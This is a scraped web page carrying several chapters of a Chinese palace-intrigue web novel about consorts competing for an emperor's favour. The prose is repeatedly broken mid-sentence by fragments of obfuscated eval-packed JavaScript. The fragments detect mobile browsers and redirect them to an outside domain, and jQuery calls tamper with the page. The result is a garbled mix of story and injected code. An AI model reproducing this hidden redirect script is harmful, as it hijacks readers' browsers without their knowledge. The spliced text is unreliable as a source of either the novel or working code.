l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451938|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 降了我的位份,我能怎么办呢?” 说到这儿,孟才人又开始哭了起来。 “主子,您别哭了,咱们去承乾宫把这件事儿告诉贵妃娘娘吧!”花影走上前来,紧紧拉住了孟才人的手,“宫里的人都说,昭贵妃娘娘处理事情是最公正不过的,人也和善好说话。咱们去找她,她一定会帮您的!” “可是我如今住在贤妃宫里,就这般贸贸然跑去寻求贵妃娘娘的帮助,且不说贵妃娘娘会不会帮我,这事儿若是给贤妃知道了,她怕不是要扒了我的皮!” 孟才人只要一想到唐贤妃那张似乎永远都黑着的脸,心中不自觉地就开始打退堂鼓了。 “主子您……哎。”看着孟才人还是这番犹犹豫豫的态度,花影最终也放弃劝说她了。 主子不争气,她们身为奴婢的再不甘心,又有什么用呢? …… “娘娘,这件事情大概的原委就是这样了。” 惜春走到夏韶宁身边,简单地将刚刚华清宫来人的传话说给了她听。夏韶宁听完以后,也觉得确实有些荒唐。 “所以这孟才人就这样忍下来了?”夏韶宁真的觉得有些不可思议。 “孟才人身边的宫女倒是劝着她来找您呢,可惜那孟才人害怕贤妃娘娘怕得要死,怎么都不肯来。”说到这儿,惜春都忍不住摇了摇头。 身为天子的女人,混成如今这般人人可欺的样子,还真是让人难以置信。 “娘娘您要插手这件事儿吗?”蕙心看了一眼夏韶宁,语气里有些不确定,“这孟才人的姿色当真是没的说,若是能好好利用,以后未必不能成为娘娘的一个助力。可是她的胆子实在是有些太小了……” “既然她不来找我,说明她还没被逼到绝境。等她真的觉得过不下去了,自然会来找我。”夏韶宁朝着蕙心笑了笑,“这后宫里一下子来了这么多人,我当然需要寻找助力,但是也不是什么人都能成为我的助力的。” “等着吧,咱们就,静观其变。” 第218章 白月光的魅力 接下来的一个多月里,萧祈安雨露均沾地每个新进宫的宫妃们都翻了一次牌子。 除了纯德妃傅鸣玉。 夏韶宁盯着尚寝局送来的彤史看了好一会儿,忽然就有些不明白萧祈安到底想要做什么了。 “纯德妃进宫一个来月了都没侍上寝,她什么表现都没有?”夏韶宁合上彤史,转过头来疑惑地询问一旁的含秋。 “回娘娘的话,还真没有。”听得夏韶宁的问话,含秋只是摇了摇头。 “未央宫的人来报,说纯德妃这一个月除了按时来承乾宫同您请安,然后去御花园散过几次步以外,她连未央宫的宫门都很少出。” “她没去紫宸殿找过圣上?”夏韶宁想起殿选那日傅鸣玉看萧祈安的眼神里满满的全是欢喜和爱意,如今好不容易进宫了,她不可能憋得住不去找萧祈安。 “没有,纯德妃不仅没去过紫宸殿,她连未央宫其他主子的住处都很少去,也不见她与哪位娘娘主子交好。”含秋道。 “呵呵,这纯德妃也挺有意思。这一招叫什么来着,以静制动?还是敌不动我不动?瞧着她是把在战场上那一套全用在圣上身上了啊!” 夏韶宁翘了翘嘴角,面上的神情有些耐人寻味。 “只是不知道她这般做,咱们这位从不喜欢按套路出牌的圣上,到底能不能上钩呢?” …… 几日后,紫宸殿。 已是戌时初了,萧祈安仍旧伏在案上批改奏折。 “陛下,尚寝局的人来了。”张全和轻手轻脚地入了殿来,身后跟着尚寝局的内侍。 “朕今日忙,不想……”萧祈安摆了摆手,正准备让尚寝局的人退下去,猛然就瞧见那放着宫妃们绿头牌的托盘里,有一把小小的木剑。 萧祈安放下手中的朱笔,伸出手将那把木剑拿了起来,赫然瞧见那把木剑的下头是纯德妃的绿头牌。 “罢了,今日不翻牌子,摆驾未央宫吧。” 说完,萧祈安就捏着那把木剑往紫宸殿外走了出去。 “张公公……”眼见圣上走了出去,那尚寝局的内侍忽然重重地松了一口气。 “行了别装了,收了人家多少好处,值得你冒这么大的风险?”想着圣上看到那把小木剑时候脸上的神情,张全和却忽然笑了。 “也亏得你收的是这位娘娘的好处,若是别人,你今日的脑袋怕是保不住了!” 且说那头的萧祈安,一路抬脚就往未央宫走了去。 只是当走到宫门口的时候,却发现未央宫的门口一个人都没有。 萧祈安觉得有些奇怪,便有些疑惑地往里头走去,一直走到了纯德妃住的无忧殿,却忽然被眼前自己看到的一幕惊呆了。 本应该是种满花草的院子,居然被纯德妃改造成了一个小小的武场! 虽然只是一个仿制的武场,但是里头刀枪剑戟各种武器一应俱全。 萧祈安走到了武场中心,顺手拿起了一把剑舞了起来,一套行云流水的操作以后,身后却忽然响起了一阵女声。 “你就是来找我爹学骑射的六皇子吗?你的剑舞的这样好,能不能教教我?那个……我叫鸣玉,你叫什么?” 一席话落,拿着剑的萧祈安忽然就怔怔地愣住了。 他缓缓地转过身来,入眼的就是一个穿着红色骑装的女子。只见她的脸上没有施一丝粉黛,头发也十分干净利落束在了脑后,整个人正对着自己甜甜地笑着。 萧祈安的记忆瞬间被拉回来了自己十六岁那年,在傅府第一次见到十四岁的傅鸣玉时候的样子。 记忆中的傅鸣玉最爱穿红色的衣裳,她不爱化妆,整日里虽然素着一张脸,但是因为容貌美丽却并不让人觉得突兀。 那时候的萧祈安就觉得,这个女子和自己见过的女子都不一样,很不一样。 “八年了,鸣玉你好像什么都没变。”萧祈安看着站在自己面前一袭红衣的傅鸣玉,说话的语气里不知不觉就带上了一丝笑意。 “陛下说错了,我变了,您也变了。” 听得萧祈安这番话,刚刚还笑着的傅鸣玉脸上忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451939|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然就浮现出了一丝明显的哀伤。 “我当年为了逃避先帝的赐婚,十七岁的年纪就跟着我父亲上了战场,这一去,就是四年。” “我一直以为您会迎我到您的身边,可是我等啊等啊,好不容易等到入了宫,成为了您的女人,却还是不得见您。” “您还记得这把小木剑吗?”傅鸣玉一边说,一边走到萧祈安的身边,自然而然地伸出手来握住了他那只捏着小木剑的手。 “朕当然记得。”萧祈安伸出手来,那把小木剑就那样安安静静地躺在他的手心里,“这是朕离开傅府的时候亲手给你做的礼物,这么多年了,朕没想到你还留着。” “对不起。” 顿了好一会儿,萧祈安这才缓缓对着傅鸣玉吐出了这三个字,只是眼前的人却一直低着头并不言语。 萧祈安心中有些闷闷的,随即伸出手来将她的脸抬了起来,却意外地发现此时的傅鸣玉早已经泪流满面了。 “朕不是故意不来看你……朕只是不知道该如何面对你。” 眼见着傅鸣玉哭得伤心,萧祈安却只是重重地叹了一口气。 “你跟着傅将军去越州的时候,朕不是没想过去求父皇将你赐给朕当侧妃。可是那个时候咱们的身份那样不对等,朕又害怕父皇怀疑朕居心不良,犹豫来犹豫去,你就那样决绝地离开了。” “这么多年了,咱们都经历过那么多了,身边的人也来来去去的,朕……” “陛下,这么多年了,我的心里从没有别人,只有您一个!” 萧祈安的话还没说完,傅鸣玉便立刻出声打断了他。 她也不管眼前的男人心里到底是怎么想的,踮起脚来就狠狠地吻上了萧祈安的唇! 萧祈安感觉这个吻里既有一股湿咸的泪水味道,又混合着一股淡淡的血腥气息。他用尽全力将眼前的女人推开,却发现自己的嘴唇不知何时已经被她咬破了。 “陛下,鸣玉已经等了八年了,求您别再让我等下去了!我爱您,我真的好爱您!” 第219章 看不惯 于是那一晚,萧祈安头一次主动宿在除了昭贵妃以外的其他宫妃的宫里。 传说那一夜的未央宫,动静闹得那叫一个大,是大到那一夜伺候的宫人听到了都要面红耳赤不好意思再谈的程度。 而更让人感到意外的是,萧祈安除了给纯德妃赐下了各式各样数不清的赏赐以外,连续五天,他居然都宿在了纯德妃的无忧殿。 要知道,自从萧祈安当上皇帝以后,除了夏韶宁生完六皇子的那几日他一直待在承乾宫以外,他基本上从来不会连续两天召幸同一个宫妃。 这番反常的举动,终于引起了夏韶宁的注意。 也引起了后宫里所有女人的公愤。 一转眼,又到了十一月初一,一月两次后宫众人向夏韶宁请安的日子。 众人向夏韶宁请安坐定以后,唐贤妃果然忍不住出声了。 “呵,要不人人都说呢,年纪大的女人有韵味,会的东西可多了,是个男人怕是都把持不住哦!” 唐贤妃拿起手中的帕子捂了捂嘴,满脸嘲讽地瞥了一眼就坐在她身旁的纯德妃,整张脸上都写着不屑。 “贤妃娘娘这话说得可不对,您在咱们姐妹中最是年长,但凡侍寝的时候那该守的规矩还是守得牢牢的。哪儿像某些人啊,真是年纪一大把,风骚的本事也不少呢!” 唐贤妃的话刚说完,许昭容便忍不住附和了一句。这话说完,殿内不知道是谁忽然就发出了一声低低的笑声。 听得唐贤妃和许昭容这般露骨的话,夏韶宁有意无意地瞥了下首的纯德妃一眼,却见她脸色如常,似乎根本就不觉得这两人是在含沙射影地说她。 夏韶宁不禁在心里想着,这纯德妃,可真能忍啊! 于是她便选择了不出声,继续隔山观虎斗。 “贤妃姐姐和许昭容这话说得也不对,咱们能守住自己的底线,那是因为咱们都是金州城里世家好好教养出来的女子。倒不像有些人,在那男人堆里的军营里待了那么多年,谁知道都学了些什么见不得人的脏东西!” 说起来其实范充媛是打心底里不喜欢纯德妃的,大概是因为她的父亲是文官,所以自从入宫以来她跟仪淑妃的关系明显更亲近一些。 而且更重要的是,她始终觉得纯德妃的身上有一股子野蛮人的气息,这种气息恰恰是她们这种文臣家的女儿们所不齿的。 若是说刚刚的唐贤妃和许昭容话说得模糊,而这一会儿的范充媛,就差对着纯德妃点名道姓了。 毕竟放眼整个后宫,只有纯德妃是在军营里待过的,而且她待的时间还不短。 果然,范充媛这话刚说完,纯德妃忽然抬起手来“啪”的一下就拍在了她身旁的小几上!小几发出了一声巨大的响声,把在场的女人们都给吓了一大跳。 “你们骂我,嘲笑我,不过就是嫉妒本宫得了圣上的宠爱!本宫告诉你们,本宫与圣上那是多少年青梅竹马的情谊,你们所有人通通比不上!” 纯德妃缓了一口气,再抬头的时候便将目光放到了夏韶宁的身上。 “昭贵妃娘娘,您手中握住主理六宫的权利,这群人这般诽谤、污蔑臣妾,您难道就不出声管一管吗?” 纯德妃这一句话,又成功地将下首女人的注意力集中到了夏韶宁的身上。 此时的夏韶宁也忍不住叹了口气,心中想着萧祈安这狗男人倒是好好的和他这青梅竹马的白月光大大地秀了一番恩爱,留下个这么大的烂摊子丢给她收拾,真不愧是狗男人,还真是狗得很啊! “好了,一人少说一句吧,再怎么说你们可都是宫妃,这般吵吵闹闹的像什么样子?!” 夏韶宁清了清喉咙,随即便开口了。 “圣上喜欢谁,宠爱谁,那都是圣上的权利!再说咱们这位圣上本就是个极有主意的人,他不是那般会容易被人左右的性格。” 夏韶宁直了直身子,说话的语气有些严肃。 “但是说到底,后宫也有后宫里的规矩。后宫的女子侍寝前既然都会被要求由侍寝嬷嬷教导规矩,那便代表这些规矩都是需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456082|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要你们遵守的。” “旁的事情本宫不干涉,只是若是有人不守规矩惹出了事情,那本宫绝不姑息,更不会因为你受宠就手软!” 夏韶宁其实鲜少这般同这群女人说话,一个是因为她觉得没有必要一直大谈规矩这件事,再一个这些年也没碰到什么非要她把规矩拿出来说的事情。 没想到这纯德妃,一进宫来就惹出这么多事,她若是不严肃地表个态,过几天太后就又该找她麻烦了。 一番话说完,下首的女人们倒是都安静了下来。 其他人的脸上或多或少还是有些不服气,而纯德妃,却又变成了一开始那般什么都不在意的样子。 夏韶宁只一眼,就看出了她其实心里是不服气的。 但是无所谓,如今她才是后宫里位份最高的人。哪怕你不服气,你也得好好憋着。 …… 众人离开以后。 夏韶宁罕见地一个人在窗户旁的椅子上坐了很久。 蕙心从外面走进来的时候,看见的就是自家娘娘正面无表情地望着窗户外头的景色,看不出悲喜。 “娘娘是因为圣上独宠纯德妃伤心了吗?”蕙心走到夏韶宁面前,小心翼翼道,“您放宽心,别想那么多。或许圣上他只是一时新鲜,没有别的意思呢……” “嗯?难不成在你们心里,我就是这么恋爱脑的人?”夏韶宁看着蕙心那张担心的脸,这才意识到她们对她的误会有多深。 蕙心一时间不太明白娘娘口中的“恋爱脑”三个字是什么意思,只是模模糊糊地觉得娘娘的情绪好像也没那么坏,这才松了一口气。 “妄想得到帝王的独宠是最愚蠢的事情,对于如今的我来说,最不需要的也是这个。” 她顿了好一会儿,又开口了。 “只是我不在乎这些,并不代表我就愿意看到这后宫里有人独宠。因为但凡有人独宠,那就必定会影响到我与我孩子目前所拥有的一切。” “所以那份助力,也就是时候让她成为我真正的助力了。” 第220章 走投无路 华清宫。 唐贤妃一路怒气冲冲地回到了华清宫,林宝林和孟才人一声不吭跟在她的身后。 刚一回到自己的宫里,唐贤妃又忍不住开始发起脾气来。 “不要脸!一个两个统统都不要脸!” 一想到刚才纯德妃那般得意的样子,这会儿的唐贤妃就越想越生气。 “真不知道圣上到底喜欢你们这群人什么?凭什么你们一进宫,一个两个都轮着侍寝了,本宫都多久没单独见过圣上的面了!” 唐贤妃转过身来,看着站在自己身后年轻貌美的林宝林和孟美人,更是没来由的觉得火大。 “娘娘息怒,臣妾虽然侍寝了,但是身为娘娘宫里的人,万万不敢有其他的心思!” 眼看着唐贤妃生气,林宝林一丝犹豫都没有,立刻跪了下来对着唐贤妃表起忠心来。 而站在她身旁的孟才人也着急忙慌地想要跟着林宝林一起跪下来,哪知道她的膝盖还没弯下来,忽然就感觉到腹中一阵绞痛!这会儿只能弯着腰捂着肚子,一句话都说不出来了。 “你这蹄子,又在这和本宫装什么?林宝林都知道跪,你怎么不跪?”看着孟才人一直弯着腰捂着肚子不说话,本来心情就很差的唐贤妃,这会儿更加生气了。 她对着身边的霞光使了个眼色,霞光会意,直接走到孟才人的身边猛地一脚就踹在了她的膝盖上! 孟才人这会儿本就觉得腹痛难忍,霞光这一脚又踢得很重,此时的她吃了痛,瞬间就跪坐在了地上。 “贤妃娘娘让你跪,你就得好好在这跪着,什么时候跪到娘娘满意了,你才能起来。” 霞光鄙夷地看了孟才人一眼,留下这句话就站回了唐贤妃的身后。 孟才人身边的花影此时已经发现自家主子的脸色很不正常了,于是她什么都顾不得了,立刻小跑到唐贤妃身前朝着她跪了下来。 “贤妃娘娘,我家才人瞧着似乎有些不舒服,您行行好,能不能请个太医给她看看!” 花影的语气很急,一边求着唐贤妃一边十分焦急地看着此时已经疼得倒在地上的孟才人。 “呵,请太医?她一个才人也配请太医?怕不是又在那装模作样演什么戏吧?” 谁知唐贤妃听了花影的话,非但没有松口为她请太医,而是笑得越发肆无忌惮起来。 “霞光,传本宫的话,今日华清宫里不允许任何一个外头的人进来,若是有人胆敢违背本宫的话……”唐贤妃带着警告意味瞥了花影一眼,“直接乱棍打死!” 露华阁内。 因为唐贤妃不允许给孟才人请太医,花影祈求数次无果以后,最后只得趁着没人注意偷偷地把孟才人扶回了露华阁。 “主子,您躺着休息会儿,奴婢一会儿再想些办法,今日一定帮您请个太医来看看!” 花影红着双眼,端了一杯热茶递给半靠在床头脸色苍白的孟才人,眼泪就那样噼里啪啦地掉了下来。 “你别哭,我没什么大事。你知道的,都是**病了。”孟才人接过花影递来的茶水喝了一口,这会儿才觉得好些了,“我自小有胃疾,动不动就发作。这几日或许是吃坏了什么东西,又严重了。” “这贤妃真的太坏了!怎么说您也是正经的宫妃,您生病了她居然连太医都不让请!这个世界上哪有这么心狠的人?” 花影只要一想到刚刚在院子里唐贤妃的样子,就觉得这个女人比从前在家中处处欺负主子的柳姨娘还要面目可憎。 “你小声点儿,别被人听见了!”看着花影这般恨恨的样子,孟才人却只是急忙伸出手来捂住了她的嘴,“谁让我不受宠呢?入宫都快两个月了,连何才人那般平日里话都说不出两句的人都侍寝过了,我却还是……” “才人既然知道自己不受宠,为何不懂得为自己争一争呢?您若是再继续这般软弱下去,不出半年,您怕是连命都该保不住了!” 这头的孟才人正拉着花影的手在自怨自艾,冷不防听到窗户外头传来了一阵似乎有些熟悉的女声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有人说贵妃娘娘貌美却恃宠生娇,有人说贵妃娘娘惯会使手段霸占圣上…… 久而久之,孟才人对这位昭贵妃就有了一种天然的恐惧感。 可是今日一见,她却发现眼前这位贵妃娘娘并不像有些宫人说的那样不堪。相反的,她甚至觉得娘娘十分亲切,就好像……自己在娘家时那唯一会关心自己的母亲一样。 第221章 不做赔本买卖 “你想明白了?” 夏韶宁摆了摆手,殿内伺候的人就都退了下去。 “是,臣妾想明白了。”孟才人当然明白夏韶宁这句话是什么意思。她低下头来咬了咬嘴唇,再抬头的时候,眼神里居然带了一丝从未见过的坚毅。 “还未进宫的时候,臣妾一直告诉自己,以后进了宫,就算不受圣上的宠爱,也要好好活下去。只有好好活下去,臣妾的母亲在府里才能安心。” 许是因为想到自己的母亲,孟才人的脸色柔和了不少。 “可是入宫到现在两个月了,臣妾这才渐渐觉得从前自己的想法有多愚蠢。在这深宫里,没有宠爱,连路过的一只狗都能随意踢你一脚,谈何好好活着?” 说到这里,孟才人的语气里满满的都是苦涩。 “你入宫两个月就明白了这个道理,足以说明你不是个愚蠢的人。真正愚蠢的人,是说不出你上面那番话的。” 听得孟才人的这番话,夏韶宁便觉得还好自己没有选错人。 “只是本宫也很好奇,你口口声声求着本宫让本宫帮你重新在圣上面前获宠,那你又有什么东西是可以回报给本宫的呢?毕竟本宫这个人,从来就不做赔本的买卖!” 夏韶宁抬起头来看了一眼孟才人,语气里带了一丝玩味。 “其实贵妃娘娘也是不愿意看到德妃娘娘得宠的,不是吗?”说到这里,孟才人笑了。 “那一日臣妾们给您请安,贤妃、许昭容还有范充媛对着德妃娘娘说话那般难听,您都没有帮着德妃娘娘说一句话。这足以证明您心中的想法其实同其他人是一样的。” “嗯?这宫里的人向来不是都在私底下说本宫是个恃宠生娇、心肠不好的人吗?那本宫又为何要为纯德妃说话?”夏韶宁反问道。 “贵妃娘娘若是心肠不好,就不会让蕙心姑娘大晚上的想尽办法去到臣妾宫里给臣妾送胃药了。” “虽然臣妾明白您是因为有所图才这么做的,但是说白了这胃疼也不会**,您大可以在其他时候找机会接近臣妾,而不必让蕙心姑娘冒如此大的风险。俗话都说锦上添花容易,雪中送炭最难。” 说到这儿,孟才人直接就从椅子上站了起来。 她面色恭敬地朝着夏韶宁福了福身子,朗声道,“臣妾求贵妃娘娘帮助臣妾重获宠,臣妾同您保证一定会想尽一切办法抢了纯德妃的宠爱,不让她一人独宠!” “臣妾也会永远记得是贵妃娘娘您在臣妾最走投无路的时候拉了臣妾一把!所以臣妾今日在此起誓,无论以后境遇如何,得宠还是失宠,臣妾愿这辈子追随贵妃娘娘,永无二心!” 夏韶宁就这样看着眼前的孟才人在自己面前起誓,她的脸上也终于露出了一丝真心的笑容。 她缓缓站起身来走到了孟才人身边,伸出手来将半蹲着身子的她拉了起来。 “你如此年轻,再加上这张绝色的脸,更别提还有本宫在背后助你一臂之力。只要你以后胆大一些,自信一些,你怕是想要失宠都很难!” *** 时间一晃就到了十二月,还有一个来月就是新年了。 不知是因为有人在萧祈安面前提了什么,还是太后私底下又去找过萧祈安了,亦或者是什么其他的原因。反正自从那一次萧祈安接连五天连续召幸纯德妃之后,他渐渐又恢复了正常。 只是平日里萧祈安还是会经常去纯德妃的未央宫里坐一坐,陪她用膳或者说话,也经常时不时地会让张全和把她召去紫宸殿红袖添香。 而就在宫里的人们猜测这纯德妃是不是要代替昭贵妃成为圣上新宠的时候,让人没想到的是,萧祈安转头又住进了夏韶宁的承乾宫。 对,是住。离新年还有半月的时候,萧祈安直接将自己的政务都搬到了承乾宫里,白日上朝,晚上直接就去承乾宫休息。 这日用过晚膳,萧祈安又开始将六皇子抱在怀里批奏折了。 “陛下,这奏折里全是**,您确定要让昀儿看吗?” 夏韶宁瞥了一眼正抱着孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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往年大容宫内的所有家宴,不管大宴还是小宴,基本上都安排在麟德殿,这似乎已经成了约定俗成的事情。 而光启三年的这场除夕家宴,夏韶宁却将它安排在了风景优美的太液湖畔的汀兰水榭。 首先是皇室内所有的亲王、王妃、公主、驸马等坐定,后宫的妃子们便也按照自己的位份坐好,最后才是萧祈安与太后登上了水榭,坐到了最上首的位置。 “陛下万安,太后娘娘万安!”眼见着萧祈安和太后坐定,众人便都跪下朝着两人请安。 “都起来吧,今日是除夕夜,不必拘着,大家开心就好!” 很显然,今日的萧祈安心情很好,说话的语气都显得十分的轻快。 “圣上刚刚还同哀家说呢,说今年的宫宴与往年不同,今日一看,果然很是不同。” 太后坐在萧祈安的身边,转过头来朝着水榭四周看了看,目光随即就定在了夏韶宁的身上。 “昭贵妃有心了。” 夏韶宁很意外太后这一次居然没有挑她的毛病,说话的语气也没了阴阳怪气,一时之间倒还些不太习惯。 “太后娘娘谬赞,说到底还是感谢陛下和太后娘娘的宽容,肯让臣妾办这样一场不一样的除夕宴会。” 夏韶宁站起身来朝着太后福了福身子,随即又看了萧祈安一眼。 萧祈安会意,清了清喉咙便开口了。 “往年的宴会总是安排在麟德殿,不管是菜品还是节目都是那些惯了的东西,朕都觉得乏了。” “今年是朕登基以来第一次能不受拘束地办一场宴会,所以昭贵妃同朕一商量,朕便想着今年的除夕宫宴要弄这不一样的。” 说着话,萧祈安便对着张全和摆了摆手道,“咱们今年不讲那些排场,也不吃冷菜,这菜品用一道上一道,咱们边看节目边用膳!” 萧祈安的话音刚落,在场众人的脸上纷纷露出了一丝好奇的神情。 说话间,便有宫女端着菜点摆了上来,众人抬眼一看,果然瞧见面前居然只摆了两道前菜。 只是让所有人都意想不到的是,往年的前菜通常都是那些又冷又油腻的冷菜拼盘,而今年居然是一道热腾腾的燕窝鸡丝汤再配了一道蜜煎雕花,又暖胃又清爽。 讲实话,临近新年,各家各府里哪家都不缺宴会,无论是在外头大口喝酒应酬的男子还是在后院小酌的女子们,大鱼大肉早就吃腻了。 如今入了宫来参加宫宴,谁不想舒舒服服地吃一顿暖心暖胃的菜,再看一看有趣的节目。期间同许久不见的亲人们喝一口酒,闲话一番,这才是再舒服不过的了。 很显然,夏韶宁完全考虑到了这一点。所以她才将今年的除夕家宴设在汀兰水榭这样让人感觉到放松的地方,而不是麟德殿那般金碧辉煌却总让人觉得过于沉重的殿内。 “皇兄,您这御膳房的厨子手艺真不错啊,不过如此简单的两道前菜,倒是让弟弟用的食指大动了。” 定王喝了一口暖暖的鸡汤,又吃了一口定王妃喂给他的蜜煎雕花,忍不住就对着萧祈安称赞了一句。 “七弟这话可就说错了,今日宴会的所有菜品,都是由昭贵妃亲自写好做法,再吩咐御厨做的。” 听得定王的话,萧祈安便十分骄傲地看了夏韶宁一眼,那脸上明显就写着几个大字——“我的女人真厉害!” “诶,七弟这么大个人了,怎么光想着吃!陛下,如今前菜用完了,怎么也不见往常的歌舞表演啊?” 恒王对着定王揶揄了一声,面上的神情倒是显得有些宠溺。 “咦,对了,昭贵妃你今日没有安排歌舞表演吗?” 萧祈安看了一眼夏韶宁,脸上有些疑惑,“难不成你还有什么惊喜要给朕?” “陛下说对了,臣妾还真有个惊喜要给您!” 说到这里,夏韶宁忽然站起身来对着萧祈安行了一礼,“请陛下准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466078|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许臣妾离席,去后头做些准备。” 萧祈安看着眼前满脸神秘的夏韶宁,一时之间不知道这丫头葫芦里卖的什么药。于是他只是笑着对着夏韶宁摆了摆手,示意她自己准了。 眼见着夏韶宁离开,坐在她下首的宫妃们便开始窃窃私语起来。 “这昭贵妃今日可真是出尽风头了。”唐贤妃盯着夏韶宁已经空了的位置冷哼了一声,“圣上还真就愿意由着她闹了!宫宴宫宴,不将桌子上的菜摆满,叫什么宫宴?真真小家子气了!” “贤妃娘娘这话说得就不对了,早些年您做侧妃的时候也是跟着圣上进宫参加过宫宴的。那宫宴上的菜冷得有多快,您不是不知道吧?如今贵妃娘娘想让大家吃得舒服些,一道一道菜上,又有什么不好的?” 听得唐贤妃又是一副阴阳怪气的样子,同样参与了这次宫宴筹备的谢充仪便忍不住出声了。 “贤妃姐姐别生气,一会儿的菜色还多着呢,就怕您吃不下。” 听得谢充仪出声,坐在她身旁的苏修仪也笑着对着唐贤妃开口了。 “说来说去圣上还是最疼贵妃娘娘。娘娘如今手中握住主理六宫的权利,膝下又有健康可爱的六皇子,这其他人怕是骑着马都难追上咯!” 仪淑妃拿起勺子舀了一勺鸡汤送进嘴里,眼神有意无意地瞥向了一旁仍旧面无表情的纯德妃,语气温柔道,“德妃妹妹,你说呢?” “在其位谋其事,等到仪淑妃你哪天能拿到主理六宫的权利,你也可以向圣上提各种各样的要求,本宫相信圣上不会不答应的。” 纯德妃冷冷地回看了仪淑妃一眼,压根也不想接她的茬。 反正在她心里,萧祈安最爱的是她就行了,其他的统统不重要。 众人正说着话呢,却忽然听得坐在最末尾的何才人发出了一阵小小的略带了些疑惑的声音。 “奇怪了,宴会都开始这么久了,怎么不见孟才人?她不会胆子大到连除夕宫宴都不来参加吧?” 第223章 影舞 水榭中众人本在推杯换盏,谈天说话好不热闹。忽然之间,纷纷被眼前一条缓缓飘来的小船吸引了注意力。 只见那小船的船头悬挂着十二盏琉璃宫灯,暖黄色的灯光透过三重素纱帷幔,隐隐约约映射出一个身材曼妙的女子。 随着船尾一阵悠扬的琴声响起,帷幔缓缓拉开,便见其中赫然站着一名蒙着面纱的女子, 她赤足踏在织金的软毯上,月光洒在她那月牙色的纱裙上,霎时间仿佛有数不清的星星落在了她的身上。 还未等水榭中的众人回过神来,便见她忽然原地转起圈来,旋身时裙摆间那用银丝绣出的小蝴蝶好像活了一般,随她折腰俯仰簌簌振翅。 随着琴声渐渐到了高潮,她的动作也越发激烈起来,缠在手臂和脚腕上的金铃也随着她的舞步发出清脆的响声。 小船朝着水榭越划越近,刚好划到萧祈安身边的时候,琴声戛然而止,那女子脚步轻点,一个越身便稳稳地跪在了萧祈安的面前。 “臣妾恭祝陛下新年快乐,事事顺心。恭祝太后娘娘新年新喜,福寿康宁!” “好巧妙的心思!”萧祈安看着跪在自己眼前的女子,忍不住就从上首的椅子上站了起来。 他缓步走到了那女子身上,伸出手来将她从地上拉了起来,另外一只手顺势扯下了她蒙在脸上的面纱。 一张清丽绝色的脸就这样出现在他的眼前。 “孟才人,怎么是你?” 看着眼前微笑着的孟才人,萧祈安着实大大地吃了一惊。 “陛下,今日这个节目,难道不比从前宫宴上那些毫无新意的歌舞表演有意思多了吗?” 正在萧祈安有些搞不清楚眼前状况的时候,便见着夏韶宁不紧不慢地从刚刚那条小船上缓缓走了下来。 “昭贵妃?刚刚那曲子,是你弹的?” 看着夏韶宁从船上走下来,萧祈安更惊奇了。因为在他的记忆中,夏韶宁似乎并不会弹琴。 “臣妾哪儿会这些啊,还不是多亏了孟才人!” 夏韶宁一边说,一边就走到了孟才人的身边。 “这曲子是孟才人自己写的,写完了再一点一点教着臣妾弹的。刚刚那支舞,也是孟才人花了好大的心思自己编排的,陛下可觉得看得过瘾?” 听得夏韶宁这番话,萧祈安的目光便又投到了孟才人的身上。只是这一次,他的眼里却多了一丝明显的欣赏。 “昭贵妃娘娘太抬举臣妾了,臣妾只是想着,陛下和太后娘娘什么好看的歌舞没见过,这才花了自作聪明花了一点点小心思编了这出舞蹈。能得了陛下这一点点夸赞,臣妾已经觉得喜不自胜了。”说着,孟才人便有些不好意思地又将头低下了。 “你倒是不必这般妄自菲薄,你这般有才,朕很欣赏。” 萧祈安对着孟才人笑了笑,随即有意无意地瞥了夏韶宁一眼,却见她什么话都没说,只是也对着自己笑。 那笑容并不假,相反的倒是还有些真诚。 他好像就有些明白了夏韶宁今日的用意到底是什么。 合着完全就是为了这碟醋,才包的这盘饺子啊! 